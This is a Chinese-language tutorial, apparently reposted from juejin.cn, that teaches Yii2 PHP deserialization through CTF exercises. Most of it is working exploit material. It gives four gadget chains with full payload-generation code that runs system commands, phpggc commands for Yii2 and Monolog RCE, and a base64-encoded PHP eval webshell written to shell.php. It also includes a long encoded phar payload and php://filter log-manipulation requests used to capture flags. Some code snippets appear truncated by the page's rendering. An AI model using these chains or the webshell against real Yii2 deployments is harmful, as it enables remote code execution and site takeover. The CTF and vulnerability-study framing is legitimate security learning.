Home> PHP Framework> YII> body text

A few selected CTF exercises will help you learn the yii2 framework!

青灯夜游
Release: 2022-10-08 17:08:11
forward
2826 people have browsed it

本篇文章带大家了解yii2框架,分享几道CTF习题,通过它们来学习yii2框架,希望对大家有所帮助。

A few selected CTF exercises will help you learn the yii2 framework!

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架

Yii2<2.0.38反序列化

安装:在 https://github.com/yiisoft/yii2/releases下载2.0.37的版本

然后在yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行php yii serve,新建一个控制器

yii-basic-app-2.0.37\basic\controllers\TestController.php


        
Copy after login

就可以进行测试了

?r=test/test&name=
Copy after login

链一

链的入口在

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php

public function __destruct() { // make sure cursor is closed $this->reset(); }
Copy after login

跟进$this->reset();

public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); }
Copy after login

这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php

public function __call($method, $attributes) { return $this->format($method, $attributes); }
Copy after login

这里的$methodclose$attributes为空,继续跟进format

public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
Copy after login

跟进getFormatter

public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; }
Copy after login

似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空

到这里可以执行phpinfo

_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace { $a = new Faker\Generator(array('close'=>'phpinfo')); $b = new yii\db\BatchQueryResult($a); print(urlencode(serialize($b))); }
Copy after login

但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘

这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
Copy after login

然后找到下面两个都比较好用

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); } yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
Copy after login

这里的$this->checkAccess$this->id都是我们可控的

所以直接构造就行了

_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('close'=>array($c, 'run'))); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); }
Copy after login

A few selected CTF exercises will help you learn the yii2 framework!

链二

这个是yii2 2.0.37的另外一条链

起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类

找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php

class DbSession extends MultiFieldSession { ... public function close() { if ($this->getIsActive()) { // prepare writeCallback fields before session closes $this->fields = $this->composeFields();
Copy after login

这里跟进$this->composeFields()

abstract class MultiFieldSession extends Session { protected function composeFields($id = null, $data = null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
Copy after login

这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)

这里直接构造即可

_dataReader = $_dataReader; } } } namespace yii\web{ class DbSession{ public $writeCallback; public function __construct($writeCallback) { $this->writeCallback = $writeCallback; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new yii\web\DbSession(array($c, 'run')); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); }
Copy after login

链三

我们可以在yii2 2.0.38commit看到他加了一个__wakeup

A few selected CTF exercises will help you learn the yii2 framework!

这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct

yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php

public function __destruct() { $this->stopProcess(); }
Copy after login

这里继续跟进stopProcess

public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; }
Copy after login

这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call

后面的利用就和链一相同了

processes[] = $processes; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('isRunning'=>array($c, 'run'))); $a = new Codeception\Extension\RunProcess($b); print(urlencode(serialize($a))); }
Copy after login

链四

同样的先找__destruct

yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }
Copy after login

这里$nsKey可控,跟进clearAll

public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } }
Copy after login

这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString

随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php

public function __toString() { return $this->__dom__->saveXML(); }
Copy after login

同样用他去触发__call

path = $path; $this->keys = $keys; } } } namespace Codeception\Util{ class XmlBuilder{ protected $__dom__; public function __construct($__dom__) { $this->__dom__ = $__dom__; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('saveXML'=>array($c,'run'))); $a = new Codeception\Util\XmlBuilder($b); $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi')); print(urlencode(serialize($d))); }
Copy after login

A few selected CTF exercises will help you learn the yii2 framework!

phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

A few selected CTF exercises will help you learn the yii2 framework!

可以使用如下命令快速得到链,-uurl编码

./phpggc Yii2/RCE1 system id -u
Copy after login

phpggc的链二的终点是一个eval,所以这里可以直接写shell-bbase64编码

./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
Copy after login

CTF题目

[HMBCTF 2021]framework

把题目附件解压,看到html\controllers\SiteController.php

class SiteController extends Controller { public function actionAbout($message = 'Hello') { $data = base64_decode($message); unserialize($data); }
Copy after login

这里可以这样传参

?r=site/about&message=
Copy after login

拿链一打了一下,发现一下system等函数被ban

A few selected CTF exercises will help you learn the yii2 framework!

这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的apache/moddisable,运行/readflag即可获取flag

[CISCN2021 Quals]filter

据说这是配置文件里面的重要内容,或许对你有用!!

'log' => [ 'traceLevel' => YII_DEBUG ? 0 : 0, 'targets' => [ [ 'class' => 'yii\log\FileTarget', 'levels' => ['error'], 'logVars' => [], ], ], ],
Copy after login

看到附件的SiteController.php就改了这个地方

public function actionIndex() { $file = Yii::$app->request->get('file'); $res = file_get_contents($file); file_put_contents($file,$res); return $this->render('index'); }
Copy after login

yii框架的runtime/logs目录下有一个app.log

看一下依赖发现monolog符合

"require": { "php": ">=5.6.0", "yiisoft/yii2": "~2.0.14", "yiisoft/yii2-bootstrap": "~2.0.0", "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0", "monolog/monolog":"1.19" },
Copy after login

首先清空日志文件

?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
Copy after login

phpggc生成

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
Copy after login

写入日志,注意最后面要加个字符a

/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a
Copy after login

保留phar的内容

/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
Copy after login

最后用phar协议打一下

/?file=phar://../runtime/logs/app.log/test.txt
Copy after login

A few selected CTF exercises will help you learn the yii2 framework!

然后在根目录找到This_is_flaaagggg

然后用这个找一下flag即可

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
Copy after login

本文涉及相关实验:PHP反序列化漏洞实验(通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

相关文章教程推荐:《yii框架教程

The above is the detailed content of A few selected CTF exercises will help you learn the yii2 framework!. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:juejin.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!